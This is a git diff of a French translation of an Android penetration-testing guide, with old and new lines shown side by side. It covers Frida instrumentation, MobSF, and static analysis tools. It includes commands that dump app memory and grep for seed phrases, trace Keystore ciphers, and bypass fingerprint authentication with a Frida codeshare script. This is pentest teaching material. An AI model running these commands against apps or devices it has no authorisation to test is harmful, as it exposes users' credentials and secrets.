Il est important de rechercher aussi des vulnérabilités web courantes dans l'application. Les détails sur l'identification et l'atténuation de ces vulnérabilités dépassent le cadre de ce résumé mais sont largement traités ailleurs.
|
||||
Il est également important de rechercher des vulnérabilités web courantes dans l'application. Des informations détaillées sur l'identification et l'atténuation de ces vulnérabilités dépassent le cadre de ce résumé mais sont couvertes de manière exhaustive ailleurs.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) est un toolkit d'instrumentation dynamique pour développeurs, reverse-engineers, et chercheurs en sécurité.\
|
||||
**Vous pouvez accéder à l'application en cours d'exécution et hooker des méthodes à l'exécution pour modifier le comportement, changer des valeurs, extraire des valeurs, exécuter un code différent...**\
|
||||
Si vous voulez pentest des applications Android vous devez savoir utiliser Frida.
|
||||
**Vous pouvez accéder à l'application en cours d'exécution et hooker des méthodes à l'exécution pour modifier le comportement, changer des valeurs, extraire des valeurs, exécuter du code différent...**\
|
||||
Si vous voulez pentest des applications Android vous devez savoir comment utiliser Frida.
|
||||
|
||||
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
|
||||
- Apprenez à utiliser Frida : [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Quelques "GUI" pour des actions avec Frida : [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection est excellent pour automatiser l'utilisation de Frida : [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Vous pouvez trouver quelques scripts Frida "Awesome" ici : [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Essayez de contourner les mécanismes anti-debugging / anti-frida en chargeant Frida comme indiqué dans [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (outil [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
#### Anti-instrumentation & SSL pinning bypass workflow
|
||||
|
||||
@ -526,7 +527,7 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
|
||||
Vérifiez si l'application stocke des informations sensibles en mémoire qu'elle ne devrait pas stocker, comme des mots de passe ou des mnémoniques.
|
||||
|
||||
En utilisant [**Fridump3**](https://github.com/rootbsd/fridump3) vous pouvez effectuer un dump de la mémoire de l'app avec:
|
||||
En utilisant [**Fridump3**](https://github.com/rootbsd/fridump3) vous pouvez faire un dump de la mémoire de l'app avec:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
@ -535,64 +536,64 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Cela va dump la mémoire dans le dossier ./dump, et vous pouvez y faire un grep avec quelque chose comme :
|
||||
Cela dumpera la mémoire dans le dossier ./dump, et vous pourrez ensuite grep dedans avec quelque chose comme :
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
### **Données sensibles dans Keystore**
|
||||
|
||||
Sur Android, le Keystore est l'endroit idéal pour stocker des données sensibles, cependant, avec suffisamment de privilèges il est toujours **possible d'y accéder**. Comme les applications ont tendance à stocker ici des **données sensibles en clear text**, les pentests devraient le vérifier en tant que root user, car quelqu'un ayant un accès physique au périphérique pourrait voler ces données.
|
||||
Sur Android, le Keystore est l'endroit idéal pour stocker des données sensibles, cependant, avec des privilèges suffisants il reste possible d'y accéder. Comme les applications ont tendance à y stocker des données sensibles en clear text, les pentests devraient vérifier cela en tant que root user, car une personne ayant un accès physique à l'appareil pourrait voler ces données.
|
||||
|
||||
Même si une app stocke des données dans le keystore, ces données doivent être chiffrées.
|
||||
Même si une application stocke des données dans le Keystore, ces données doivent être chiffrées.
|
||||
|
||||
Pour accéder aux données à l'intérieur du keystore, vous pouvez utiliser ce script Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
Pour accéder aux données dans le Keystore vous pouvez utiliser ce Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Fingerprint/Biometrics Bypass**
|
||||
|
||||
En utilisant le script Frida suivant, il pourrait être possible de **bypass fingerprint authentication** mis en œuvre par des applications Android pour **protéger certaines zones sensibles :**
|
||||
En utilisant le script Frida suivant, il pourrait être possible de **bypass fingerprint authentication** que des applications Android effectuent afin de **protéger certaines zones sensibles :**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **Images d'arrière-plan**
|
||||
|
||||
Lorsque vous placez une application en arrière-plan, Android enregistre un **instantané de l'application** : lorsqu'elle est ramenée au premier plan, l'image est chargée avant l'application pour donner l'impression que celle-ci s'est chargée plus rapidement.
|
||||
Lorsque vous placez une application en arrière-plan, Android stocke un **snapshot of the application** : lorsque celle-ci est ramenée au premier plan, il commence par charger l'image avant l'application, de sorte qu'il semble que l'application ait été chargée plus rapidement.
|
||||
|
||||
Cependant, si cet instantané contient des **informations sensibles**, une personne ayant accès à l'instantané pourrait **voler ces informations** (notez que vous avez besoin de root pour y accéder).
|
||||
Cependant, si ce snapshot contient des **informations sensibles**, quelqu'un ayant accès au snapshot pourrait **voler ces informations** (notez qu'il faut un accès root pour y accéder).
|
||||
|
||||
Les instantanés sont généralement stockés à : **`/data/system_ce/0/snapshots`**
|
||||
Les snapshots sont généralement stockés à : **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android fournit un moyen de **prévenir la capture d'écran en définissant le paramètre de layout FLAG_SECURE**. En utilisant ce flag, le contenu de la fenêtre est traité comme sécurisé, l'empêchant d'apparaître dans des captures d'écran ou d'être affiché sur des écrans non sécurisés.
|
||||
Android fournit un moyen d'empêcher la capture de screenshot en définissant le paramètre de layout FLAG_SECURE. En utilisant ce flag, le contenu de la fenêtre est traité comme sécurisé, ce qui empêche qu'il apparaisse dans des screenshots ou qu'il soit affiché sur des écrans non sécurisés.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
### **Android Application Analyzer**
|
||||
|
||||
This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
Cet outil peut vous aider à gérer différents outils pendant l'analyse dynamique : [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
|
||||
### Intent Injection
|
||||
|
||||
Les développeurs créent souvent des composants proxy comme activities, services, et broadcast receivers qui gèrent ces Intents et les passent à des méthodes telles que `startActivity(...)` ou `sendBroadcast(...)`, ce qui peut être risqué.
|
||||
Les développeurs créent souvent des composants proxy comme activities, services, et broadcast receivers qui traitent ces Intents et les passent à des méthodes telles que `startActivity(...)` ou `sendBroadcast(...)`, ce qui peut être risqué.
|
||||
|
||||
Le danger réside dans le fait de permettre aux attaquants de déclencher des composants d'application non-exportés ou d'accéder à des content providers sensibles en détournant ces Intents. Un exemple notable est le composant `WebView` qui convertit les URLs en objets `Intent` via `Intent.parseUri(...)` puis les exécute, pouvant mener à des injections d'Intent malveillantes.
|
||||
Le danger réside dans le fait de permettre à des attaquants de déclencher des composants d'application non-exportés ou d'accéder à des content providers sensibles en détournant ces Intents. Un exemple notable est le composant `WebView` qui convertit des URLs en objets `Intent` via `Intent.parseUri(...)` puis les exécute, ce qui peut conduire à des Intent injections malveillantes.
|
||||
|
||||
### Essential Takeaways
|
||||
### Points essentiels
|
||||
|
||||
- **Intent Injection** est similaire au problème d'Open Redirect sur le web.
|
||||
- Les exploits impliquent de passer des objets `Intent` en tant qu'extras, qui peuvent être redirigés pour exécuter des opérations dangereuses.
|
||||
- **Intent Injection** est similaire au problème Open Redirect du web.
|
||||
- Les exploits consistent à passer des objets `Intent` comme extras, qui peuvent être redirigés pour exécuter des opérations dangereuses.
|
||||
- Cela peut exposer des composants non-exportés et des content providers aux attaquants.
|
||||
- La conversion d'URL en `Intent` par le `WebView` peut faciliter des actions non prévues.
|
||||
- La conversion d'URLs en `Intent` par `WebView` peut faciliter des actions non prévues.
|
||||
|
||||
### Injections côté client Android et autres
|
||||
|
||||
Vous connaissez probablement ce type de vulnérabilités depuis le Web. Vous devez être particulièrement prudent avec ces vulnérabilités dans une application Android :
|
||||
Vous connaissez probablement ce type de vulnérabilités depuis le Web. Il faut être particulièrement vigilant avec ces vulnérabilités dans une application Android :
|
||||
|
||||
- **SQL Injection:** Lorsqu'on manipule des requêtes dynamiques ou des Content-Providers, assurez-vous d'utiliser des requêtes paramétrées.
|
||||
- **JavaScript Injection (XSS):** Vérifiez que le support JavaScript et Plugin est désactivé pour tous les WebViews (désactivé par défaut). [Plus d'infos ici](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** Les WebViews devraient avoir l'accès au système de fichiers désactivé (activé par défaut) - `(webview.getSettings().setAllowFileAccess(false);)`. [Plus d'infos ici](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: Dans plusieurs cas, lorsque l'application Android termine la session, le cookie n'est pas révoqué ou peut même être sauvegardé sur le disque
|
||||
- [**Secure Flag** dans les cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
- **SQL Injection:** Lorsqu'on gère des requêtes dynamiques ou des Content-Providers, assurez-vous d'utiliser des requêtes paramétrées.
|
||||
- **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews should have access to the file system disabled (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: Dans plusieurs cas, lorsque l'application Android termine la session le cookie n'est pas révoqué ou il peut même être enregistré sur le disque
|
||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
@ -604,51 +605,51 @@ Vous connaissez probablement ce type de vulnérabilités depuis le Web. Vous dev
|
||||
|
||||
.png>)
|
||||
|
||||
**Évaluation des vulnérabilités de l'application** via une interface web agréable. Vous pouvez aussi effectuer une analyse dynamique (mais vous devez préparer l'environnement).
|
||||
**Évaluation des vulnérabilités de l'application** via une jolie interface web. Vous pouvez aussi effectuer une analyse dynamique (mais vous devez préparer l'environnement).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Remarquez que MobSF peut analyser **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
|
||||
De plus, si vous créez un fichier **ZIP** contenant le code source d'une application **Android** ou **IOS** (allez dans le dossier racine de l'application, sélectionnez tout et créez un ZIPfile), il pourra aussi l'analyser.
|
||||
Remarque: MobSF peut analyser **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
|
||||
Aussi, si vous créez un fichier **ZIP** avec le code source d'une application **Android** ou **IOS** (allez dans le dossier racine de l'application, sélectionnez tout et créez un ZIPfile), il pourra l'analyser également.
|
||||
|
||||
MobSF permet également de **diff/Compare** les analyses et d'intégrer **VirusTotal** (vous devrez définir votre clé API dans _MobSF/settings.py_ et l'activer : `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Vous pouvez aussi définir `VT_UPLOAD` à `False`, alors le **hash** sera **upload** au lieu du fichier.
|
||||
MobSF permet aussi de faire un **diff/Compare** des analyses et d'intégrer **VirusTotal** (vous devrez définir votre API key dans _MobSF/settings.py_ et l'activer: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Vous pouvez aussi mettre `VT_UPLOAD` à `False`, dans ce cas le **hash** sera **upload** au lieu du fichier.
|
||||
|
||||
### Assisted Dynamic analysis with MobSF
|
||||
|
||||
**MobSF** peut aussi être très utile pour l'**analyse dynamique** sur **Android**, mais dans ce cas vous devrez installer MobSF et **genymotion** sur votre hôte (une VM ou Docker ne fonctionneront pas). _Note : Vous devez **démarrer d'abord une VM dans genymotion** puis **MobSF.**_\
|
||||
L'**analyseur dynamique MobSF** peut :
|
||||
**MobSF** peut aussi être très utile pour l'**analyse dynamique** sur **Android**, mais dans ce cas vous devrez installer MobSF et **genymotion** sur votre machine hôte (une VM ou Docker ne fonctionnera pas). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
|
||||
Le **MobSF dynamic analyser** peut :
|
||||
|
||||
- **Dump application data** (URLs, logs, clipboard, captures d'écran faites par vous, captures d'écran faites par "**Exported Activity Tester**", emails, bases de données SQLite, fichiers XML, et autres fichiers créés). Tout ceci est fait automatiquement sauf pour les captures d'écran : vous devez appuyer quand vous voulez une capture d'écran ou appuyer sur "**Exported Activity Tester**" pour obtenir les captures d'écran de toutes les activités exportées.
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Tout cela est fait automatiquement sauf pour les captures d'écran : vous devez appuyer lorsque vous voulez une capture d'écran ou appuyer sur "**Exported Activity Tester**" pour obtenir des captures de toutes les activités exportées.
|
||||
- Capturer le **HTTPS traffic**
|
||||
- Utiliser **Frida** pour obtenir des **runtime** **information**
|
||||
- Utiliser **Frida** pour obtenir des informations **runtime**
|
||||
|
||||
À partir des versions Android **> 5**, il **démarrera automatiquement Frida** et configurera les paramètres de **proxy** globaux pour **capture** le traffic. Il ne capturera le traffic que de l'application testée.
|
||||
À partir des versions Android **> 5**, il lancera **automatically Frida** et définira les paramètres de **proxy** globaux pour **capture** le trafic. Il ne capturera que le trafic de l'application testée.
|
||||
|
||||
**Frida**
|
||||
|
||||
Par défaut, il utilisera aussi certains Frida Scripts pour **bypass SSL pinning**, **root detection** et **debugger detection** et pour **monitor interesting APIs**.\
|
||||
Par défaut, il utilisera aussi quelques Frida Scripts pour **bypass SSL pinning**, **root detection** et **debugger detection** et pour **monitor interesting APIs**.\
|
||||
MobSF peut aussi **invoke exported activities**, prendre des **screenshots** de celles-ci et les **save** pour le rapport.
|
||||
|
||||
Pour **start** le test dynamique, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les logs générés par les Frida scripts et "**Live API Monitor**" pour voir toutes les invocations des méthodes hookées, les arguments passés et les valeurs retournées (cela apparaîtra après avoir appuyé sur "Start Instrumentation").\
|
||||
MobSF permet aussi de charger vos propres **Frida scripts** (pour envoyer les résultats de vos scripts Frida à MobSF utilisez la fonction `send()`). Il propose également **plusieurs scripts pré-écrits** que vous pouvez charger (vous pouvez en ajouter d'autres dans `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), il suffit de **les sélectionner**, d'appuyer sur "**Load**" puis sur "**Start Instrumentation**" (vous pourrez voir les logs de ces scripts dans "**Frida Live Logs**").
|
||||
Pour **start** le test dynamique, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les logs générés par les Frida scripts et sur "**Live API Monitor**" pour voir toutes les invocations vers les méthodes hookées, les arguments passés et les valeurs retournées (cela apparaîtra après avoir appuyé sur "Start Instrumentation").\
|
||||
MobSF permet également de charger vos propres **Frida scripts** (pour envoyer les résultats de vos Frida scripts à MobSF utilisez la fonction `send()`). Il propose aussi **several pre-written scripts** que vous pouvez charger (vous pouvez en ajouter dans `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), il suffit de **les sélectionner**, appuyer sur "**Load**" et appuyer sur "**Start Instrumentation**" (vous pourrez voir les logs de ces scripts dans "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
De plus, vous avez quelques fonctionnalités auxiliaires Frida :
|
||||
De plus, vous disposez de quelques fonctionnalités auxiliaires Frida :
|
||||
|
||||
- **Enumerate Loaded Classes** : Affiche toutes les classes chargées
|
||||
- **Capture Strings** : Affiche toutes les strings capturées lors de l'utilisation de l'application (très bruyant)
|
||||
- **Capture Strings** : Affiche toutes les chaînes capturées pendant l'utilisation de l'application (très bruyant)
|
||||
- **Capture String Comparisons** : Peut être très utile. Il **montrera les 2 strings comparées** et si le résultat était True ou False.
|
||||
- **Enumerate Class Methods** : Indiquez le nom de la classe (comme "java.io.File") et il affichera toutes les méthodes de la classe.
|
||||
- **Search Class Pattern** : Recherche des classes par pattern
|
||||
- **Trace Class Methods** : **Trace** une **classe entière** (voir les entrées et sorties de toutes les méthodes de la classe). Rappelez-vous que par défaut MobSF trace plusieurs méthodes Android intéressantes.
|
||||
- **Trace Class Methods** : **Trace** une **classe entière** (voir les entrées et sorties de toutes les méthodes de la classe). Rappelez-vous que par défaut MobSF trace plusieurs méthodes API Android intéressantes.
|
||||
|
||||
Une fois que vous avez sélectionné le module auxiliaire que vous voulez utiliser, vous devez appuyer sur "**Start Intrumentation**" et vous verrez toutes les sorties dans "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
MobSF apporte aussi un shell avec quelques commandes **adb**, **MobSF commands**, et commandes **shell** courantes en bas de la page d'analyse dynamique. Quelques commandes intéressantes :
|
||||
MobSF fournit aussi un shell avec quelques commandes **adb**, commandes **MobSF**, et des commandes **shell** courantes en bas de la page d'analyse dynamique. Quelques commandes intéressantes :
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -659,32 +660,32 @@ receivers
|
||||
```
|
||||
**Outils HTTP**
|
||||
|
||||
Lorsque le trafic http est capturé, vous pouvez voir une vue brute du trafic capturé sur le bouton "**HTTP(S) Traffic**" en bas ou une vue plus agréable dans le bouton vert "**Start HTTPTools**". Depuis la deuxième option, vous pouvez **envoyer** les **requêtes capturées** vers des **proxies** comme Burp ou Owasp ZAP.\
|
||||
Pour ce faire, _démarrez Burp -->_ _désactivez Intercept --> dans MobSB HTTPTools sélectionnez la requête_ --> appuyez sur "**Send to Fuzzer**" --> _sélectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
Lorsque le trafic HTTP est capturé, vous pouvez voir une vue brute du trafic capturé via le bouton "**HTTP(S) Traffic**" ou une vue plus lisible via le bouton vert "**Start HTTPTools**". Avec la seconde option, vous pouvez **envoyer** les **requêtes capturées** vers des **proxies** comme Burp ou Owasp ZAP.\
|
||||
Pour ce faire, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> appuyez sur "**Send to Fuzzer**" --> _sélectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Une fois que vous avez terminé l'analyse dynamique avec MobSF, vous pouvez cliquer sur "**Start Web API Fuzzer**" pour **fuzz des requêtes http** et rechercher des vulnérabilités.
|
||||
Une fois que vous avez terminé l'analyse dynamique avec MobSF, vous pouvez cliquer sur "**Start Web API Fuzzer**" pour **fuzz** les requêtes HTTP et rechercher des vulnérabilités.
|
||||
|
||||
> [!TIP]
|
||||
> Après avoir effectué une analyse dynamique avec MobSF, les paramètres de proxy peuvent être mal configurés et vous ne pourrez pas les corriger depuis la GUI. Vous pouvez corriger les paramètres de proxy en exécutant :
|
||||
> Après avoir effectué une analyse dynamique avec MobSF, les paramètres du proxy peuvent être mal configurés et vous ne pourrez pas les corriger depuis la GUI. Vous pouvez corriger les paramètres du proxy en exécutant :
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
> ```
|
||||
|
||||
### Analyse dynamique assistée avec Inspeckage
|
||||
### Assisted Dynamic Analysis with Inspeckage
|
||||
|
||||
Vous pouvez obtenir l'outil depuis [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Cet outil utilise des **Hooks** pour vous indiquer **ce qui se passe dans l'application** pendant que vous effectuez une **analyse dynamique**.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
C'est un **excellent outil pour effectuer une analyse statique avec une interface graphique**
|
||||
C'est un **excellent outil pour effectuer une analyse statique avec une GUI**
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Cet outil est conçu pour rechercher plusieurs **security related Android application vulnerabilities**, soit dans le **source code** soit dans les **packaged APKs**. L'outil est également **capable of creating a "Proof-of-Concept" deployable APK** et des **ADB commands**, pour exploiter certaines des vulnérabilités trouvées (Exposed activities, intents, tapjacking...). Comme avec Drozer, il n'est pas nécessaire de rooter l'appareil de test.
|
||||
Cet outil est conçu pour rechercher plusieurs **vulnérabilités liées à la sécurité des applications Android**, que ce soit dans le **code source** ou dans les **APKs packagées**. L'outil est également **capable de créer un "Proof-of-Concept" deployable APK** et des **ADB commands**, pour exploiter certaines des vulnérabilités trouvées (Exposed activities, intents, tapjacking...). Comme avec Drozer, il n'est pas nécessaire de rooter l'appareil de test.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -694,8 +695,8 @@ qark --java path/to/specific/java/file.java
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
- Affiche tous les fichiers extraits pour une consultation facile
|
||||
- Décompile automatiquement les fichiers APK en formats Java et Smali
|
||||
- Analyse AndroidManifest.xml pour les vulnérabilités courantes et le comportement
|
||||
- Décompile automatiquement les fichiers APK au format Java et Smali
|
||||
- Analyse AndroidManifest.xml pour détecter les vulnérabilités courantes et le comportement
|
||||
- Analyse statique du code source pour détecter les vulnérabilités courantes et le comportement
|
||||
- Informations sur l'appareil
|
||||
- et plus encore
|
||||
@ -704,7 +705,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER est une application en ligne de commande utilisable sous Windows, MacOS X et Linux, qui analyse des fichiers _.apk_ à la recherche de vulnérabilités. Elle fonctionne en décompressant les APKs et en appliquant une série de règles pour détecter ces vulnérabilités.
|
||||
SUPER est une application en ligne de commande utilisable sous Windows, MacOS X et Linux, qui analyse des fichiers _.apk_ à la recherche de vulnérabilités. Elle le fait en décompressant les APK et en appliquant une série de règles pour détecter ces vulnérabilités.
|
||||
|
||||
Toutes les règles sont centralisées dans un fichier `rules.json`, et chaque entreprise ou testeur peut créer ses propres règles pour analyser ce dont ils ont besoin.
|
||||
|
||||
@ -716,17 +717,17 @@ super-analyzer {apk_file}
|
||||
|
||||
.png>)
|
||||
|
||||
StaCoAn est un outil **multi-plateforme** qui aide les développeurs, bugbounty hunters et ethical hackers effectuant [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) sur les applications mobiles.
|
||||
StaCoAn est un outil **crossplatform** qui aide les développeurs, bugbounty hunters et ethical hackers à effectuer de la [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) sur les applications mobiles.
|
||||
|
||||
Le concept est que vous glissez-déposez votre fichier d'application mobile (un fichier .apk ou .ipa) sur l'application StaCoAn et elle générera un rapport visuel et portable pour vous. Vous pouvez ajuster les paramètres et les wordlists pour obtenir une expérience personnalisée.
|
||||
Le concept est que vous glissez-déposez le fichier de votre application mobile (un .apk ou .ipa) sur l'application StaCoAn et elle générera pour vous un rapport visuel et portable. Vous pouvez ajuster les paramètres et les wordlists pour obtenir une expérience personnalisée.
|
||||
|
||||
Télécharger[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
Téléchargez[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Framework est un système d'analyse de vulnérabilités Android qui aide les développeurs ou hackers à trouver des vulnérabilités potentielles dans les applications Android.\
|
||||
AndroBugs Framework est un système d'analyse de vulnérabilités Android qui aide les développeurs ou les hackers à trouver des vulnérabilités potentielles dans les applications Android.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -734,11 +735,11 @@ androbugs.exe -f [APK file]
|
||||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** est un outil dont le but principal est de détecter et d'alerter l'utilisateur sur les comportements potentiellement malveillants développés par une application Android.
|
||||
**Androwarn** est un outil dont le but principal est de détecter et d'alerter l'utilisateur sur des comportements potentiellement malveillants développés par une application Android.
|
||||
|
||||
La détection est effectuée par **static analysis** du bytecode Dalvik de l'application, représenté en **Smali**, à l'aide de la bibliothèque [`androguard`](https://github.com/androguard/androguard).
|
||||
La détection est effectuée par **analyse statique** du bytecode Dalvik de l'application, représenté en **Smali**, à l'aide de la bibliothèque [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Cet outil recherche les **comportements courants des applications "malveillantes"** tels que : Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
|
||||
Cet outil recherche des **comportements courants d'applications "malveillantes"** tels que : exfiltration d'identifiants téléphoniques, interception de flux audio/vidéo, modification des données PIM, exécution de code arbitraire...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -746,46 +747,46 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** est un framework d'ingénierie inverse et d'analyse d'applications mobiles. C'est un outil qui regroupe des outils couramment utilisés pour l'ingénierie inverse et l'analyse d'applications mobiles, afin d'aider à tester les applications mobiles face aux menaces de sécurité mobile OWASP. Son objectif est de rendre cette tâche plus facile et plus accessible pour les développeurs d'applications mobiles et les professionnels de la sécurité.
|
||||
**MARA** est un framework d'ingénierie inverse et d'analyse d'applications mobiles. C'est un outil qui regroupe des outils couramment utilisés pour l'ingénierie inverse et l'analyse d'applications mobiles, afin d'aider à tester les applications mobiles contre les menaces de sécurité mobiles OWASP. Son objectif est de faciliter cette tâche et de la rendre plus accessible aux développeurs d'applications mobiles et aux professionnels de la sécurité.
|
||||
|
||||
Il permet de :
|
||||
|
||||
- Extraire du code Java et Smali en utilisant différents outils
|
||||
- Analyser des APKs en utilisant : [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Extraire des informations privées de l'APK en utilisant des regexps.
|
||||
- Extraire le code Java et Smali en utilisant différents outils
|
||||
- Analyser les APKs en utilisant : [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Extraire des informations privées depuis l'APK en utilisant des regexps.
|
||||
- Analyser le Manifest.
|
||||
- Analyser les domaines trouvés en utilisant : [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) et [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Désobfusquer l'APK via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
- Déobfusquer un APK via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
Utile pour détecter les malware : [https://koodous.com/](https://koodous.com/)
|
||||
Utile pour détecter des malware : [https://koodous.com/](https://koodous.com/)
|
||||
|
||||
## Obfuscating/Deobfuscating code
|
||||
|
||||
Notez qu'en fonction du service et de la configuration utilisés pour obfusquer le code, les secrets peuvent ou non finir obfusqués.
|
||||
Notez que, selon le service et la configuration utilisés pour obfusquer le code, les secrets peuvent être ou non obfusqués.
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** est un outil open source en ligne de commande qui réduit, optimise et obfusque le code Java. Il est capable d'optimiser le bytecode ainsi que de détecter et supprimer les instructions inutilisées. ProGuard est un logiciel libre distribué sous la GNU General Public License, version 2.
|
||||
